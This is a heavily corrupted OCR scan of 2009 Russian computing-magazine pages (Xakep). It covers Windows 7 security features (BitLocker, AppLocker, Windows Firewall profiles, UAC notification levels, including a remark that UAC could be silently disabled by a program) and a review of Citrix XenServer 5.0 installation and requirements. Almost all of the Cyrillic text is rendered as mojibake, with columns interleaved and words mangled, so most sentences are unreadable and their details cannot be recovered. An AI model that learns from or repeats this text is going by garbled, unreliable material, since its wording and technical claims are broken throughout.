(IIOCJIe PerHC
ClJ»\1l1UI1CTparop MO>KeTynpaLVUITb YAaneHHoH cHt.TeMoH rryreM
06XO,!tHMO 6bUlO ycTaHaBllllBaTb OT,lIeJlbH)'lO Y!llJJllry Wind ows
li b ra r·y/d!13..4 9;343
06HoBlleHVlR rpynnOBbOWOJlHTHK, KOTOpble npHMeIDUOTCJlIJ.O
SteadyState (go.microsQft ('om/fwlink/?LinkID-] 17104).
aw,
BXO,lla OOJlb30BaTeNI. B CHCTeMY. KpoMe aBropH3a.uHH KOMnbIO're
CeW:rac3Ta q:,YHKLJ;illi BCTpOeH3, H B03~{0:>KH0, nOll)"lHT60J1bIuyIO nonyJLllpHocrb. BitLocker, npl1 nOMO!UH KOTOpOro MOiKHO
• 5nor pa3pa60T'-lV1KOe
pa, nOMep>Kl1BaeTCfl MHoroypooHenaJI 0!X:lBepl<a nOAilltHHOCTH OOJlb30UaTeJm (napom., cMapH<apTa). Tenepb,llOCT}'II K pecypcaM BHyTpeRHeH CeTH AflJI J«Dl<,ltoro n0JTh30BaTeNI. MO:lKHO Hserpa»
HbIMH' (Ha'lHHan: CVista SPI), nOJIY'IHJI B Windows 7,a;aJ1bHeHWee
BaJ'b OT,lIeJIbHO. HeJIb351 HeOTMeTIITb, ~ITO Windows 7 aBTOMarn
pa3BHTHe. Bo BPCf\t.R YCTaHoBKH arrroMaTH'IeCKH npoHCXQD,HT
qeCKH HaxOp;HTccreBbre npl-1HTepbI it HacrpaHBaeTycTpOHCTBa.
OO3tl.aHHe JJ;BYX Pa3,ll;eJI0B (3arpY30~lHoro H CHCTeMHoro), He06
Windows 7 - ~s. rns.dn.com/e7u!.
nOJlHOCThlO3anmcl'poB3TbCl1CTeMHbIH pa3,11;eJ1 HJIH pa3,l\eJl CP;3H
60JIee TOro, AiIJI KIDK,ll0i1 CeTI-f MOIKHO 3MaTh CBOM npmrrep no
XO.D;RMblX AM pa60ThI BitLocker. HanoMHHM, HeKOr.aa nOJIb30
yr.10Jt'laJUHO. PaHee 3TO -rpe60aano BMeuraTeJlbCTBa co CTOpoHbl
BaTeJlb,ll,OJDKen 6bll1 n03a60nITbOI 063TOM CaMOCTOJlTeJlbHO.
a.D;lI-tHHa/nOJlbSOSaTeJIJI, a B HeKOTOpbIX ClI)"'IaJIX-
HOBM TeXHOJlOOUl, nOJIY'IHBlliM H a3B<UiHe BitLockerlbGo,
rrpmreHeH.l-Ul
C!<pHOTOB H CTOPQI--(HHX yTHJHiT.
n03BOJrneTIIIHq;.poaaTb H BHeWHHe HOClITeJIH (¢.neiliKH HJIIt
EinarO,ll,'apJ1: CeJ\bMOH BepcHH opoTOKOJIaRDP, KJIHeHT Remote
iRecTKl1e,ll;HCKH), OT<PoPM3THj>OBaHHbie B FAT/FAT32, ExFAT
Deskoop Client nOJly'u1J1 HOBble B03MO>KHOCTH. Cpe.aH H.lfX
HJlH NTFS. ,llocryn J< 3aIllHepPOl3aHHbiM HocrrreiUlM B03MQ)KeH no
nOMep>KKa TeXHOJIOfl1H Aero Glass, Direct2D H Direct3D 10.1,
napOJl1o HJJH cMapT' KapTe Cmo6oro Ko:o.tnhlOTepa. n paB.a;a, eCJIH
DirectShow, Media Foundation. YBeJIW-leH3 npoH3BOJUITeJlb·
3TO 6YJJ;eT He Windows 7, TOY.ll:aCTCR ilHIIIb QTeHHeJJ;3HHbTX. CaM
HOCTh, )'l'IreHbweHhl3Mep)!{lGl3B}'K8 Ii p.{HoroetJ;pyroe. Y.a;aJIeH
BitLocker A.rm flbl6pamroro pa3AeJla HJIH CI>1eHHOro UOCl1Tem:I
HblH pa60QHH CTOn BecbMa 6blCTPO peampyeTHa C06b.\THfl,lVDKe
Tenepb MO>KHO Bl<JlIOqHTh!l KOHTeKCTHOM MeRlO, Bbl6pan ll)'HKT
BO apei't.R npocMoTpa BIIJJ;eo DBblCOKOM Ka"lecme.
(,Turn On BitLocker" (He HaaO HCKaTh em B "naHeJIH YnpaB.lle
TEXHonorHH 6E30nACHOCTH
TpYAHa.
Hilli") . 06paTHM: onepaUl1fr no paCllHl<PpoBKe cl'JlelID01 TalOKe He
0',!{HOHl-f3 HHTepecHblx UOBHHOKB Windows 7 MO:lKHO Ha3eaTh
AppLocker, n03BOJIalOI.LtHKynpaBJI5ITb pa6oTOM npHJ!O>KeHHH.
~
122
H3MEHEHHH B WINDOWS FIREWALL
I1cnoJlb3yn ero, aAMHli MO>KeTlieTK03Man,lIporpaMMbl, KOTO
nepBhle nepCHI1 Windows He HMeJll1 BCTpOeHHblX cpe,1l;CTB 000
pble pa3pernaeTOl3anyCKaTh Ha nQJI b30tlaTeJIbCKHX 1<0MObIO
KHpoBKH CeTeBoro Tpacl'l1 1<3, AO MHOrO'llfcneHHble 2InH,ll,eMHH
Tepax. TexHOJIOrH1I KOH"IIXl1Il1pyeT Bce THnhl <PaKnoB, KOTOpble
IIOKa3anH He06xotJ;HMOCTb B3TOM. Ha~mHaR CWinXP SP1, nOJIb'
MoryrHaHeCTH BpettcHcreMe: HCnOJlHfleMbie H ycTaHOBO'lHbIe
30S3TeJlH nOny'{HJIH Windows FirewaU> KOTOPbIH CSP2 aKTHBH
q:,awbl (exe, msi, msp), Clqll1nTbl (bat, cmd, vbs,js) H6H6.nHO
pyeTOi no YM0JI'laHI1IO. XOTIlnepBOe, 'ITO,lleJIaeT.llI060M I03€ p
TeKH (dll, ocx). npelliAe,lVlR 3THXUeJIeH npI1XoJJ;HJIOCb3a,QeMC
nocneycraHoBI<1l. CHCTei\1bI, -onOllOqaeTWF. Vi Bce nOTOMyliTO
TBOB<Ub HeCKOJlbI<O 3anyraHHbie nOJIJiTIl'KH orpaul1'!eHHoro
OH KJiIlIHT oillu6KaMH, He yJJ;06eH B HacrpoHKe (MO:lKHO TO.nbJ<O
XAKEP
os /1251 09
BKJlIO'lHTh rnm OTKJIIO'lIITb \oV'F; AOCT)'IlHO Bcero ABa CTaTIlqet· KHxnpo~HJUJ:,ltOMeHHhlH It craHtlapTHhfJ'1) Ii orpaHltqeH B lVIaHe
¢YHKL\HOHaJIbHocrn (HanpHMep, y?-leeT tPlUlbTpOBBTbnHWb BXO MuulliTpa¢flK). Visrn nOJl)"UlIlB 06HoBJleHHbIH WF, CTaBWH'I'i Ojl;HHM"3 KOMnOHeHTOB "UeHTpa 06ecneqeHllJl6e30nacHOCTH
Chaos,," W'1e:l to be '1otified about ("langes to your computer
Windows». K rnaBl-(b(M eroocOOeHHoCTRM CTOliTOTHecTlI: B03
U..=.", ':",euT_~,!'..e.Ib!~!.~~.n.!£~~-':'.~!!:Lh~m/,,1
MO>KHOCTb ¢H.Jlb'rpaIl,HH Hc.xo,llluueroTpacPHKa, cnoc06HoCTb Bbl
1t.11 mt nlN' lPn!t U,,, ,",ccc<m1 Centrel ,,:tIn~
~'COJ"ml /'cm m.ting ch.ngel tc ycu' 'c~
ffRlliITb He.KOTOpble THnbf CeTeBblX aTaK, 06ecneqeHHe KOHTpoM
.n;ocryna IlporpaMM BceTb, nOMep}J{J{a fPv6u IPsec, AaCTpoHKa Dehult· Notify me only when p'''9",m. try to moke changcs to my computer
napaMeTpoB qepe306beKThl rpynnoBoH nQnHTHKH Group Policy
Object (GPO)_WF B VlSla nOJl}"lHJI TPH,n;JfHaMH'lecKJ1X npocPWUl
~cn't
-CJ-
Hacrpoex (domain, private, public), KOTophIe MO:>KHO npHBlt
notify me ,·.htn I mll:e .;h,ng" Ie
W;~rlel".<
lltti~g.
3b1BaTb KmITeP4>eHcaM. OP" nop;KJUOqeHHH KcerH O1CTeMa H,AeHTIIIl>HQHpyeT::rry cen. H npHMemleT HaH6on:ee llOAX-OMlUHH npoclmnb. fum B CeTII. 06Hap)')KeH K0Hl'p0JUlep ;:J;OMeHa, yCTB
if)
HaBJUI.SaeTCJl domain, a caMblM 3arn;HIJJ:eHHbIMJlB.WIeTCH public.
Re"mmtnded ifyeu "II r.mili., I"eg,om, 'nd ";'~ hmili.,w"b.~e•.
t.£T06bl OpH noc.;leAYJOrn;eM nO,ll;lUllO'leHlfH K ceTH 6bUI ycraHOB JIeH TOT)!(e OPOcPWlb, B CHCTellfe 3anyrn;eHa cneU;HaJlbHaH CJI)')K6a NerworkLocation Awareness ~1.A), coxpaIDIlOIIJ;a51 HHcP0pMa
B H8CTpoiiK8X UAC -
4eTbipe ypOBH~ peaK~1'I1'I
U;mo 0 CeTH B cEoeR 6a:>eP;amililX.. B BHCTeeA1'!HCI'BeHHOe (HOOqeHhHenplliITHOe) orpaHWIeHHe CHff3aHO CTeM, 'fto B e;:J;HHJm;y BpeMeHH Mo»<eT 6bITb aKTHBeH TOJlbKO O)l;HH npocPHJIb. ECJlJI KOMlIhlOTep nO,[J;J01JOlJeH cpa3YK
KIDi\AOM 3anyOl:e. Mexa.Jrn3M ;:J;OCTaTO\ffiO rrpocr H 131'0 >Ke 13peMJ1
HeCKOJIbKHM ceTffM, npHMeHffeTI:R HaIi60nee OrpaHWIHBaIO~HH
3<fxt>eKTIIBeH, HO liMeHHO pa60Ta UACBbl3b1BatLa II Bhl3bfBaer
npoq,I1Jlb. 3To '-laCTO Bbl3bIDaeT np06neMbJ c nOjl;JUTIOqeHHeM.
mrn6o.n.bwee pa3APa>KeHHe y nOJ[b3()BaTe1IeH Vista Cl30Hlvni noc
BHeWHe H3CTP0I1KH WF B Windows 7 He H3MemUHlCb, Ho'rerreph
T01'IHHbIMH 3anpocaMH BO 6per.uJ ycraHOBKH. HoaOH nporpaMMbl
MO~T 6bITb aKTHBHO HeCKOJIbKO npocPlliIeH. B HacrpoHKax
Ii rIpH 3anycKe HCIlOJl.HJlCMOro <PaJ1na. HacrpoJ1la.1
llIClUnOHOB Private H Public nOJIb30BaTeJIb MOIKeT3aUnoKHpOBaTb
VlStaon:yrcrByJOTKaKKrlacc,MO)KHOnHWbBKJIIO'IIITb!Q'11(.nfO'-lHTb
pa60Tht UAC B t>
info
Bee BXO,1VJlll,He Coe,lU1HeHMJI AlUl nporpaMM, HeBKllTOqeHHhlXB
Ii 3acraBJ.1Tb a.tJ;MHHa Ka)K,ltbfR pa3 BBQDJITb napom..D,llSI nOJJ;
• nO,o,po6Hee 0 WAlK
CfIHCOK pa.3peweHHblX (Blockall incoming connections, including
TBep)f(Jl;eHliJ1 Cl30HX nQ/lHO:\lO·nrn. B Unix KTaKOr.ry npHBhlIOIn, HO
YHT8~ B CT3Tbe «CJ~
Moc6opHbie OKHa» B
those in the list ofallowed programs), -o6ecneqHBaH MaKCH
n0Jlb30BaTellb Windows eee-Talal H36a!!OBaH. nOOTOMynepnoe,
MMbH)'lO 3a~l1TY.,aono,lHH1tilhHO MO>KHO ITOJJyqa'Th yee.n;Oi\f.ile
'ITO jl;e.naeT lO3ep cpa3Ynoc.ne ycraHOBKH Vista, -
HlHl rrpH nonbITKe HOBOU nporpaMMbll3blWrH B HHTePH{~T (Notify
3.D,ecb r.to>KHOn0peKoMeH.II.OBal1>yIlfJu-nylWeakUAC lwww.
OTlOllOqaerUAC.
~HBapcKoM
HOMepe
:x: 3<1 2009 ro.a.
me when Windows Firewall blocks a ne\v program). TaJOKenerKO
tweak
OTKJlIOlmTh WF AJUlOnpe,1\eJIeHHoro flPO~HJIlt. ~eo;:J;HoYlJ;06e
UAC, n03BUllHeTnepeaeCTH ero B <<TIOOIH» pe/ICHM. B 3TOM C/l)"1ae
mo cn~aHOe H3CT]>oMKaMYf. Pa Hee Bee 1!f3MeHeHMll coxpaHHJ1l'fo,
UACBlODO'IeH,H03anpoo,fn06o.nbwHHcmYHe3Ha'-flfl'eJIbHb[X
~lJ1l'1 Windows
B aKTIfBHOM npocpl1JIe, H npH npHMeHeHIIHtI,pyroro nJXXl>HJl1I.
napaMeTpOBHe 6ylIYTBblB0N'fThOl HlIoca:>KJJ:aTb nOnb30BaTeJllO.
Microsoft nOJly4l'1na
IlX rrpKXO,tJ;'HJJOCb n08TOpl'lTb. Tenepl.> MO>KHO 3a.n;aTb OPO~flJlH,
Pa3pa6oT'lHKH npHc.nyrn.aJlHCb K MHeHHTO nOJIb30BaTeneH, H S
60nee
tvUl K01'OpblX npoH3BO,D,H1UI H3MeHeHlIe. B Vi~ta, 'IT06hl33,1.laTb
Windows 7nommnoa, '1eTblpenapHaHTa Hacrpoel< UAC OHM lIB
paU~OHaJll'l3aTOpC~
Kl'IX npeAJ10>KeHl'I~ aT
tl<lc.com), Km'Opal'ITIOMUMOOTIUfJO'-feHHJ1 H f3KJUoqeHW'! • nocne ny6f1ltlKa~
7 Beta
nonYMl'Innl'loH8
HeCKonbKO nopTOB, HX Heo6XQAHMO 6b1JlO nepe'-lHCJll'ITh '-fepe3
XO,lVllUl B«Control Panel- System and Security-Change User
3BTUll)'IO; B 'fOBOi-i BepoUl Mo»<t!0}'l(a3b1n3TbAManmoH.
Account Controlsetting:o>: • Alwaysnoruy-3anpOCDblLl:aeTOl D
non b30BaTe}1e~~TeC
KpoMe TOro, (.:ropoHtll1e pa3pa60T'lHKH TIOJI}"iWUl 06H.OOJleH
JII060M CJI)"Iae (l<aKB Vista); • Default (ycTaHOBJleH no YMOJI'Ia~
Tepos co Bcero Ml'Ipa,
Hbl" API, n03BOnJ1fOIllHH nerKO 3a;J,eBcraoBaTh B03MO:>KHQCTH
HHro) -
WF 11JIH tl,06aBHTb CBOH epYlua.uu1.
cHcreMHble HacrpoAKll H3MewuoTOl nporpaMMHO; eCJJH me
• Ha6pas s none nOl-1c~
;:J;eikTBHe npoU3Bop;HT 3apemCTpHponaBWHHCH nonb30B8TeJ!b,
K8 MeHIO "nyCK»TeKCT
OIIOBeIJJ:eHHenpoH3£OM'1'CfI. TOJIbKO B TOM CJIY'lae, eCJIH
ynPABnEHHE UAC
UAC He3ap;aeT BonpOCOB;
winver, MO>KHO yol-1AeTb
BWindowspaOOracnpaSaMH8,AMHHHcrpaTOpaCYJIHTMHO:>KeCTBO
• Notifyme only when programstlyto make changes to my
OKHO
y.D,06CTB- Bee AeHCTBI1.II pa.3peweHbl, He 1pE!6yeTOl. HHKaKl1X
computer -nOXOiK Hanpe,n;b~HH,TOJIbKO Secure Desktop npH
rAe oTo6pa>KeH8 SCSI I'IH<p0pMaLl,HSI 0 BepcHI'I
,,0 CI'ICTeMe».
lJ;OIlO1IHH'reJIbHblX pa3peWeHH~ltv1R yCTaHOBlG1l1porpa.MM, 06HOB
BbJ30Be UAC He HCTTOJIb3yeTOI;
neHMJI CHCTeMbl,.nocryna K pa:me.naM )KecTKOrO ,llHCKa H npo'iee,
• NevernotifyYOU-OTlUlroqHTb UAC.
1-1 HOMepe C60pKH
MHHYC-.m060i1 BHpyc, 3anymeHHblH H3-fJO;:J; rrpHBHJlernpoBaH
OOCJleAHHe .ll:Ba nYHlcr8 OTMeqeHbl KaK He peKOMeHJ\YeMble, HO
Windows 7, BKnlOyaSl
HotiyqeTI:IOH 3aIIHCH, BbITlOJIHl'leTOi c rrpaBClMH a,llMHHHcrpaTopa,
CKIDKeM, 'ITO pa60Ta B Default.ll:OBO!lbHO KOMtPopTHa. KcraTH, B
.Q8Ty
T.e. HMeeTJ\ocryrr ¢aK"IW-leom Knl06oJl.f)' £<QMnOHel-ny cHcreMbl.
H8CTOflIl.\ee BpeMJI UAC HHKaK He pearHpyeT, ecnH npWlO)!{eHHe,
8KTHS8UHIo1.
l'ICTeyel·\l.1~
CpOK8
B Unix npo6neMYpellIKJIH. )l)Ke.ll.aBHO. BWindows C3THM eepb€3HO
3afIYllleHHOe nOJIb30BaTe.neM, nblTaeTCR H3MeHHTb HaCTpoihrn
Ha'lJaJlH 6opoTbOl BVista, r.a.e BnepUble rrpHMeHeH MexaHmM,
UAC. 3To n03BOJUleT He3aMeTHO era OTKJIlOqHTb, H.D,aHH}'lO
• DlrectAccess MO>KHO
TIOJIY'lllBlllHH Ha3BaHlle UAC ("YnpaBJIeHHeyqeTHblMH 3arrnCflM H
ourn:6Ky fUlaIrnpyKITycTpaH.HTh BRCI.
HClCTpOHTb T8K. YTo6bl
B CHCTeMe <paKTWIeCKH Crrpa:eaMH 06h1'lHoro nOJlb3OBaTeJ1.ll. Ecnll
cnOlKHAA nPH~ECKA
,Q\.1J1 TOllbKO Tpaq,I1K.
»<eJ1.lUlBbIIIOJlHeHHR3ap;a'IHTpe6Y10TCRnpa!3aap;MHHHcrpaTopa.
113MeHeHHH BWindows7 Aocraro'iHOMHOro. OpocroH llpH'lec
npe,nH83H8yeHHbliil
TO BhJp;aeTCR 3anpoc Ha IIOJ\TBep;Kl\eHHe nOBhIWeHllil.IIpJ.lBHJle·
KOH Visra ~ech He o6ollLlIOCb. Y a,1J;MllliHcrparopa nOffBKIlOCb
AnSI KopnOpaTI1BHO~
rnA (B crreI.J;HalIbHOM pe:>KHMe Secure Desktop, He fJ03BOMIOUleM
60nbwe B03M<»KHocrei-i 00 opraHll3alUrnY,l.l06HoH H tJe3onaCHoH
CeTI1
nporpaMMHO HIDKaTh KHom<y). 11 TOJIbKO B3TOM ClJ}"fBe KOHKpeT
cpe,D.bI -anropHTM MHOrKX ~fH H 31feMefITUB KaPtJ.HHaJIbHO
Hoe nplliIQ)KeHMe 6YP;eTBbIIIOJlHeHO CopaBaMH aAMHHflcrpaTOpa.
nepecrpoeH. Ho peaJlH30naTh HeKOTOpble 1-13 HHX YllaCTOl TOJlbKO
Do.rrbllIlIM MHHYCOM UACRBJLlleTCH ern '<336bIlNHBOCl'b": OH <<HC
npHHMH'fJ1.H HOaoH B€pOIH cepBepa Win2k8 R2 (Wmdows Server
3anOMHHaeT» nporpa1'.li\ry, H ITOTOMY 3aIJ1XK: noBTOpl'IeTOI TIpH
7). noroBOpWM 0 HeM BQllHOM IDCJletJ;ylOLUHX HOMepoB.I
1IUTlb30BaTe]U!») .npu aKTIiBHOM UAC a.II.MHHHcrpaTopbl pa60TcuoT
e-XAKEP 05/125/ 09
4epe3 cepsep npoxo
I
~1231
.:~I:~ CEPrH1 .GRINOERa flP:WjYK
I GRINDERlaSYNACt(.RU I
8-o-sna OB1Z13 Clpa
-+-iH
=rcrtrix XeriServer: a:630p HOBOH BepCLH1 nnaTij)OpMbl BHPwanH3aLtHH no Mepe yseJlV1LJeHV151 SbILJV1CJlV1TeJlbHbIX MOLl.\HOCTeili Ha pblHKe CV1CTeM sV1pTyaJlV13alJ,V1V1 CTaHOBV1TC51 Bce >KapLJe. CV1TyalJ,V110 MO>KHO cpaBHV1Tb C 30HOili 60eBbiX AeilicTBV1i1i. npaKTV1LJeCKV1 Bce V1,pOKV1, LJTo6bl npV1BJleLJb P51AOBbIX nOJlb30BaTeJleili V1 KpynHblx 3aKa3LJV1KOB, y>Ke npeAJlO>KV1JlV16ec nJlaTHble BepcV1V1 CBOV1X npoAyKTOB [npaBAa, C HeCKOJlbKO O,paHV1LJeHHOili epYHKlJ,V10HaJlbHOCTblO].
B KOHlJ,e epeBpaJl51
XenSe,ve" HaLJV1Ha51 C peJlV13a
•
~,z
00
BHPTYAnH3Al\H~CTAHOBHTC~BCE
nony·
5.0,
KOMnaHV151 Cit,ix 06b51BV1Jla, LJTO
TaK>Ke 6YAeT 6eCnJlaTHbIM . BHptyaJIbHM MatUHHa He HMeet OrpaHWleHHH H3
Bepe MO)KHO 6e3 npo6AeM pa3MeCT}1Th HecKOJIbKO
06CJry)KHBaHHH np" ycnomm Taro, 'ITO pecypcbl He CKOJlbKHX cepBep08 06be.clH HeAbl n rryJl. Pa60Qan HaI'pJ3Ka ,l:\HHaMH'leCl<ll nepepacnpeAeM
Bl1pTyaJIhHbIX, CH~13HB 3aTpaThi Ha o6opyt\OBaHHe 11
eTa1 He TOJlbKO Me>K,IJ,y BHPTYaJlbHb.lMH. HO If <p11311
,ll)rnYlIaJleHHoro yrrpaMeH1'ffi cepBepaMH, VM, Blip
nOBbICHB~J<TltIlHOCTh.npoUe,a;ypaBOCCTaHOMe
'IecKHMl1 cepaepaMl1.
HlUl BHpTyaJIbHOro cepBepa BblrJm,ll;lfl' npoute, Be.ID>
yrrpanneRHe.
~MHH)' lJ,ocraro9Ho nepeHecTI1 tPafuIbI H3
Tpe60BaHHH no npeAOCTaB1leHHIO BbICOKOro ypoBIDI AOC1)'llHOCll1 CHITeMbJ (High Availability). Pa60tJylO
>K, Tcnepbno3HaKOMHMOIcXenServerrro6JIH)Ke.
,tIOcryIlHblH cepBep, 6YAb TO tPH3li'lectGIH WIR BMp T)'aJIbH.btit. Cel'O/1,tul Ha pbIHKe/1,OCT)'TTHO MHO)KecTBO
OC, ytrdflOBJIeHl-ryto Ha m060M ¢H3I1'1ecKOM cepBe
YCTAH OBKA CIT~IX XENSERVER i\AA ycraHOB
peweHHH BHpTyaJ1'lil3aUHJf, OMaa;aIOlltl-(X pa3HOH
pe,
KOHBepntpoS3Th B BHvryanbHyJO
KH XenServer nOHM06HTa1 KOMTlbIOTep, HMelOllUll1
¢YHKIV10HanbHOCTblO Ii paOlpoCTparUler.1blX no,tl
(P2Y) Cl1creMY. &lb IIo)I.ll,ep>KKa Bcex c:ymecTB)'lO
XapaKTepHCTl11rnHeHIDKc 1.5 rru64xCPU, 1 r6RAM
Microsoft Hyper-V,
J.UHX CJfcreM xpaHcmffi ,!J;aHHblX (JlOKaJlbHbtR AHCK,
H He MeHee 16 r6 MecTa HaXap/1,e. 50 Bpehffi yCTaHO!3
VMware ESXServer, Parallels Desktop/Workstation! Server, Qemu, Virrua!Box, Virtual Iron, XenServer, Oracle VM 11 T.,D;. B QCHOBe nOCJle,tlHHX Tpex Jle>KHT
NAS, SAN HT.tt.). OtPHl.IHanJ.,HO BKa'l.ecree rocreBbIX
KM6y,!{eTC03J\aHO/1,Dapa3.l{eJla; KopHeBoi:icXenServer
CHCTeM nQlJ,ll,ep}f(JffiaJOTCl'I:
pa3Mepoi\t B 4 r6 H Pa3AeJl,£WI VM. HeKOTOpble roc
• Bee aepam Windows, Ha'lltHaH OT 2k SP4lJ.o 2008,
TeBble
CB060AHbIH rHnepBH30p Xen, KOTOPbIH H3BecreH
B TOM ~IHcne H 64-6H'l"Hhle c napaBHpTyanbHblMH
B MHHHMaJIbHOH KOHepHrypaIJ;HI1.
TeM, 'ITO QD,HlIM 1of3 nepBblx 06ecnel.JHJI nOAlJ,ep>KKY
,ll,paHDepaNH1,
Vista HeOOXO,!{HM BHplyaJIbHblH AHCK pa3:\1epoM n 16
nRPHEE.
~e 6bl, -
p33iJM'lHblMH
Ha O/1,HOM t;P113U4ecKOM cep
JIHu:eH3IDlMU:
APyroi1
Intel
MO)I{HO
3m cyrneCTBeHHO yrrpotUaer
XenSen.rer
JIemo
cnpoeKTIlpoBaH C }"-leTOM
CCpnIqn-ll\HposaHHhIMH
WHQL
KOl1lilJecrnO
HCfl0JU,3yeMOH onepannmOH nar.1RTIf:
Dce, 'ITO CMO>KeTDbI,tI3TbCepBep, 6YAeT /1,ocrymtO VM. TYaJlbHblMH,l{HCKaMH 1I nyiJaMH HcnOJlb3YeTOl y,!{06 Hafl H flOmITHaJ1 B pa60Te KOHCQ)lb XenCenter. '-ITO
DC nOTp€6ytOT 6o..nbllIe Mecra, 'IeM yRa33J-\O HanpHMep, AJUl:
HOB<UI BepcIDI XenServer BKJU04aeT MHO>KeCTBO
(Windows HardwareQuality Lab); • SaSE Enterprise Linux OT9 32/64 6HT; • Red HatEnrerpriseLinuxOT3.x HCemOSoT4.S; • Oracle Enterprise Linux OT 5.0; • Debian Sarge/Etch.
q>)'fIl<W1H, paHee,ll;ocrynHbLX B TUIaTHb1X pewemUlX.
HeKOTOpble xapaKTepl1CT11lG1 BHpTyaJIbHOJ1 Maurn:
nOCJle npoeepKH o6oPYAOBaHIDI npocro
l1epe'lliCJllO TOJlbKO HeKoTOpble H3HHX:
RbI 6yPYT 3aBHceTb OT HCn01lb3YeMOM
pa6o'raTh.,l{M 38nyCKa :rocreBoJ:i Windows npou:ec
- HeorpaHHlJeHHoe KOJIWlecTBO cepsepoB H BlipT)'
rocreBOH OC_ B06U\eM ClI)"Iae 3TO: 8 CPU (64-6HTHbIH) c B03MO)K
cop ,Il,OJDKeH
aJlbHblXMaUUfH;
HOCIblO TOHKon Hacrpothrn pecypcoB, /1,0 BoehMH
paruoH BHp1YaJIH33.i.\H:H Intel VT/ AMD-V; BCJJY'Iae c
OOJIHOH annaparuoH 13HpTYaJll13aI..(HH
VT 11
AMDSVM.
B03MO>KHOCTH CITRIX XENSERVER 5.0
-IJ,UHaMWleCKM 6aJ1aHCHpo~KaHarpy:nCH;
He MeHee 201"'6 (4 + 16 r6).,lWi KOM<PoPTI-IOHpa6<:rThl: 3TH WitPPbl CMeJl0YMHOmaeM Ha 2, aAJU!.lJ.}I:CKa -
Ha
S. MHHHMWlbHbIX rpe60BaJUl:H CJI~r npH,l(epIKH BaTbOl B JIKKKf',1 eJIY'!ae, ~lHaqe Macrep ycTaHOBlG1 ClTf<a)KC'J'CJl
liMen. IJQAAep>KKY TeXHOJlOfHli anna
Bl1pTyMbHbIX,l.l;HCKOB (BKJIK)9M CD-ROM) lflJ,OceMH
Linux TaKafI IJOMep>KKa He06H:xlTe.>lbHa.
(Live Motion)
CeTeBblX K<l[.Yl'. nOAlJ,ep:lliJmaeTOl: ropWlee rrO/1,IQIJO
YcraHouo'IHbli1ISO-06pa3MoJKHoc13060.ztHocKa43Tb
M€)f(,ll,y$H3H"IeCKHMH cepBepaMH 6e3 npepbIBaHH.R
"IeHHe Bl1prya.1bHbIX IJ,HCKOB 11 ceTeBbIX ycrpoikrn.
no CCbLllKaM Ha caiITe v.ww.xenserverS.coJD. ,l(.Iui
- MHrpaIJ,Wl BUJYlyaJU>HbIX MallIHH
~
124
i
r6-ToecIb,cYMMapHO>KecTJ<HHAHCK,!J;OJDKeH6bITh
'"'''' ""'" I ...
I
,L],nSl 61O,D,)l(eTa 3Ha<; ltlMblM 5lS/HleTC51 He CTOI1MOCTb no Ha 6a3e rVln e p BVl30pa Ka KTdKOad>l,
Cl COSOKynHa'rl CTOltlMOCT1::> BflaAeHltlf'! VlT -ltlHcppaCTpYKTYPO~. eTaTb5! pa CXO,O,08 Ha fl-1 n e p
B "'30Pbl
HW-ITO)l(Ha Ma11a no cpa BHeHlil10 c ~eHoi1 )Kene3a,.n lo1ueH3lt1101 H8 nnanpopMeHHoe
no V1 eV1CTeMbl XpaHeHltlSl. paCXOAaMltl Ha aAMltlHIo1CTplo1posaHlo1e fO Bop~n
101
nOAAep)l(Ky.
V1 KOf,D,8
0 6eennaTHbiX n pOAyKTax BltlpTy8Illtl3au,ltll'1, no 3cpcpeKly no cpa BH V1 MO CTe M,
'1TO
n p O,l';a lOT ,l';B V1raTeJl':>, ysepR>l, '-ITO nOKynaewb MawIIIHy. .ll1l51 MaJ10ro III cpeAHero 6l'13 Heea
6eenJl8TH bllo1 rV1nep 8 ",30P - 3TO nplil51THbli16oHYC. MO}f(eT 6blTb, AJ151
2-3 cepsepoB .0.0
CT8TOY HO eTa HAS pTH bl X, BKJ1IO'-leH Hbl x B 6ecnnaTHoe peweHlo1e cpeAcTs ynpasneH VIS'!.
'l"3 conoH rrOJl:C H 13bIn OJIHHTh HaCTpoH Ky BpeMeHI1.
Ho
BceAaHHble co6paHbl, notJ:Tl3ep>K,D:aeM Hallano yc
BKpynHoIo1KOMnaHV1ltlCU,eJlbIMnapKOMcepsep06np~HUlo1nlila.nbHoe3Ha4eHl1enpVl06pe
TaHOSKl1, Bbl6pas «Install XenServer». B npou;ec ce HHCTaJInJl:UHH 6Y,lleT npe,ll:AO>KeHO BCTaBMTh
TaeT 06Ll\a>l nJl OTHOCTb p83Mel.L.\efH1 >l Bl.1pryanbHblX cepsep08 Ha cpltl3l.14eCKIt1X t-t8WltlH8X [npl1 KOHrelo1 HepH 0101 8'11 pTyam13B l.\ltl V1 Ha yposHe
DC nllOTHOCTb s 3-5 pa3 npesocxoAIo1T
STOPOH ,QHCK, eCJlM ero HCTIOJlb30BaHHe 6blJIO 3a ,llaHO lia nane HaCTpoHKH.
no nOKJ3<)Tefl5l M rltlnep8 L130 pbl, 6YAb TO XenServer, ESXi Server ltl11ltl Hyper-V] ltl B03MO)K HOCTltl VlX ynpaaneH"'5l, V1 I1eM 60flbwe cepaepoa. reM CpeACTBa ynpaSlleHIo1>l B3)KHee
npltl Heo6xOAlo1MOCTVI COKpal.L.\8Tb 38TpaTbi Ha VlHeppacTpynypy tolMeH HO OHIt1 AalOT nOH5Hb,
nocnE YCTAHOBKM [Jepe3arpy3Hcb, H Te6H:
'-ITO B,D,eIo1CTBIo1TellbHOCTIt1 ~BJH!eTC~ «6ecnnaTHbIM>}
BCTpeTHT Ol(HO «Customize System}). B HeM co,n;ep
MaKCltlM KY3bKltlH. CIilCTeMHbliil apXLolTeKTOp ,Qena pTa MeHTa BV1 pTyaflVl3au,ltlltl Parallels
H3MCHlITb OOlORHble cHcreMHble HacrpoHKH, npo
)f(lfTOI14I1}'HKTOB, IIpH TTOMOIIJ;H KOTOpblX MomHO
[WIN"" par<lllel~ com/rul.
CMOTperh cnHCOK pa6OT81OIIJ;HX VM, COJA8Tb nyn pecypcOB, ynpaBJUlTb ClfCTeMaMH Xp8HeHHll: AaH
ycraHOBKM HaM nOHa,llo6RT01 ABa 06pa3a, nQ,lI,IU1
XenServer host». ~PYrI1e nYHKTbl n03nOJ1H:IOT
HbIX, oueHHTb 3arpY3K}' CHCTeMbf, BbOOllO'1lfTb/
C3HHble KID< install-cd H linux-<:d. Ha nepnOM, J<POMe
3arpY3HTb .zJ;paHsep (Ha CJI~ll.]CM llIare npe.zJ;
nepe38rpY3HTb CHCTeJl.ty, BhlHTH B JIOK81IbHhiH
